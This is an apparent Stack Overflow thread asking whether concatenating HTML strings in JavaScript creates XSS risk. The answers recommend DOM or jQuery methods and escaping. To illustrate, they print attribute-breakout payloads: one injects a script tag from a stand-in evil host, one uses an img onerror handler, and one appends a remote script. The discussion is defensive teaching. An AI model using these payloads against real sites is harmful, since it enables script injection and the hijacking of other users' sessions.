Is it really insecure to build HTML strings in Javascript?

Question

The company who hosts our site reviews our code before deploying - they've recently told us this:

HTML strings should never be directly manipulated, as that opens us up to potential XSS holes. Instead, always use a DOM api to create elements...that can be jQuery or the direct DOM apis.

For example, instead of

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

They tell us to do

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

Is this really true? Can anyone give us an example of an XSS attack that could exploit an HTML string like the first one?

This question seems to be more suited for http://codereview.stackexchange.com/ — Gerald Schneider, Nov 18 '14 at 09:38
In general, it's probably not necessary. In circumstances where content comes from a user, it may be sensible. So in this case it depends where `this.au` came from. — lonesomeday, Nov 18 '14 at 09:40
I guess over all that the problem is not what the user tries to inject, but how do you handle the written HTML. You should care about to ensure the injected HTML — steo, Nov 18 '14 at 09:44
I disagree with you @lonesomeday, even if the content doesn't come from the user but from your super trusty database, it's still good practice to handle it with care. Should your database turn out to be not so trusty and have a SQL-injection vulnerability, handling the content it serves with care will limit the damage the SQL-injection can do. As an analogy, would you tell a bank or casino they don't need cameras/alarm systems because the only ones with a key in the first place are all trusted employees? ;) — asontu, Nov 18 '14 at 09:57
@funkworm It's a reasonable point. I agree that data from a database needs to be treated with care. But there are secure items of data, e.g. those hard-coded in Javascript. — lonesomeday, Nov 18 '14 at 10:02
I didn't know that `$('a')` worked as a shortcut for `document.createElement('a')`. I wonder how high the overhead is? — TRiG, Nov 18 '14 at 10:52
@GeraldSchneider This question seems to be more suited for security.stackexchange.com — Alexander, Nov 18 '14 at 12:34
If this is the only thing you use jQuery for, I'd say it's not worth it to import the whole library (as it's around 20-30K). You could do [something like this](http://shebang.brandonmintern.com/foolproof-html-escaping-in-javascript/) instead — blgt, Nov 18 '14 at 13:35
another obvious error is the use of `quizAuLink.data`: it will NOT set the src attribute, for that you should use `quizAuLink.attr` http://api.jquery.com/data/#data-html5 — lordvlad, Nov 18 '14 at 22:07
@lordvlad: Most of the time, you probably **don't** want to create the data attribute. Using `.data()` instead of `.attr()` is a feature, not a bug. — Lie Ryan, Nov 19 '14 at 09:49
@LieRyan oh, you're right, I only saw 'src' and assumed it MUST be an attribute.. sorry bout that — lordvlad, Nov 19 '14 at 09:52
For lots of examples that get you thinking like a blackhat, see http://escape.alf.nu — PixnBits, Nov 19 '14 at 18:41

Scimonster · Accepted Answer · 2014-11-19T11:17:53.137

67

If this.au is somehow modified, it might contain something like this:

"><script src="http://example.com/evilScript.js"></script><span class="

That'll mess up your HTML and inject a script:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

If you use DOM manipulation to set the src attribute, the script (or whatever other XSS you use) won't be executed, as it'll be properly escaped by the DOM API.

In response to some commentators who are saying that if someone could modify this.au, surely they could run the script on their own: I don't know where this.au is coming from, nor is it particularly relevant. It could be a value from the database, and the DB might have been compromised. It could also be a malicious user trying to mess things up for other users. It could even be an innocent non-techie who didn't realize that writing "def" > "abc" would destroy things.

One more thing. In the code you provided, var quizAuLink = $( 'a' ); will not create a new <a> element. It'll just select all the existing ones. You need to use var quizAuLink = $( '<a>' ); to create a new one.

edited Nov 19 '14 at 11:17

answered Nov 18 '14 at 09:40

Scimonster

32,893
9
77
89

In all modern browser this will not work though.. https://stackoverflow.com/questions/1197575/can-scripts-be-inserted-with-innerhtml – Andreas Louv Nov 18 '14 at 09:45
@null It's an example. They might inject some other HTML, or use a handler as you mentioned. – Scimonster Nov 18 '14 at 09:47
66

Damn those example.com bastards. They host all the most malicious files. – Darth Egregious Nov 18 '14 at 17:26
2

Now why exactly is this more unsafe than using DOM methods? If the attacker had the possibility to modify this.au, he/she probably also had the possibility to inject a script element. – tomsmeding Nov 18 '14 at 17:31
2

@tomsmeding Perhaps `this.au` came from an untrusted source, say, user input. – Scimonster Nov 18 '14 at 18:03
@Scimonster: And if it didn't. – Lightness Races in Orbit Nov 18 '14 at 20:01
1

@LightnessRacesinOrbit And if the value was guaranteed to be trusted, so then the OP's original method could also work. For example: `this.au = Math.random()<0.5 ? '/src1/' : '/src2'`. There's no worry of XSS there, so fine. But in other cases, where the security isn't 100% guaranteed, so the DOM building method should be used. – Scimonster Nov 18 '14 at 20:09
1

@Scimonster Perhaps it was user input; my point is that the web console also accepts user input. Trying to make a secure webpage client-side is like trying to prevent the buyer from building a bulldozer when selling him a lego pack for a race car. You can make it harder, but you can't really prevent anything. The only real security can be built in server-side. — The problem here is not really security, but rather robustness: the point of escaping well is something that is rather left to the built-in browser routines (that work with the DOM api). Same goes for the `eval`-happening. – tomsmeding Nov 18 '14 at 21:12
8

@tomsmeding You can't protect users against their own web console use or misuse, but it's not necessarily input from the *current* user that you're worried about - rather something input by a malicious user which your site will display to potential victims. – Jacob Raihle Nov 18 '14 at 21:31

score 14 · Answer 2 · answered Nov 18 '14 at 13:03

14

This should be just as secure, without compromising too much on readability:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

The point is to avoid doing string operations to build HTML strings. Note that in above, I used $() only to parse a constant string, which parses to a well known result. In this example, only the this.au part is dangerous because it may contain dynamically calculated values.

answered Nov 18 '14 at 13:03

Lie Ryan

62,238
13
100
144

6

Just beware though, using `.data()` doesn't assign it as an attribute, and it's possible that the OP needs it as an attribute. Of course, it's also possible that this way is fine. – Scimonster Nov 18 '14 at 20:18

score 12 · Answer 3 · answered Nov 18 '14 at 09:46

As you cannot inject script tags in modern browsers using .innerHTML you will need to listen to an event:

If this.au is somehow modified, it might contain something like this:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

That'll mess up your HTML and inject a script:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

And ofcause to run bigger chunks of JavaScript set onerror to:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

Thanks to Scimoster for the boilerplate

score 1 · Answer 4 · edited May 23 '17 at 12:16

Security aside, when you build HTML in JavaScript you must make sure that it is valid. While it is possible to build and sanitize HTML by string manipulation*, DOM manipulation is far more convenient. Still, you must know exactly which part of your string is HTML and which is literal text.

Consider the following example where we have two hard-coded variables:

var href = "/detail?tag=hr&copy%5B%5D=1",
    text = "The HTML <hr> tag";

The following code naively builds the HTML string:

var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>

This uses jQuery but it is still incorrect (it uses .html() on a variable that was supposed to be text):

var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>

This is correct because it displays the text as intended:

var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>

Conclusion: Using DOM manipulation/jQuery do not guarantee any security, but it sure is one step in right direction.

* See this question for examples. Both string and DOM manipulation are discussed.

The 2 last blocks of code looks very similar, I had too look carefully to see the difference, can you please emphasize that they use `html()` and `text()`? — A.L, Nov 19 '14 at 10:53

Is it really insecure to build HTML strings in Javascript?

4 Answers4

Linked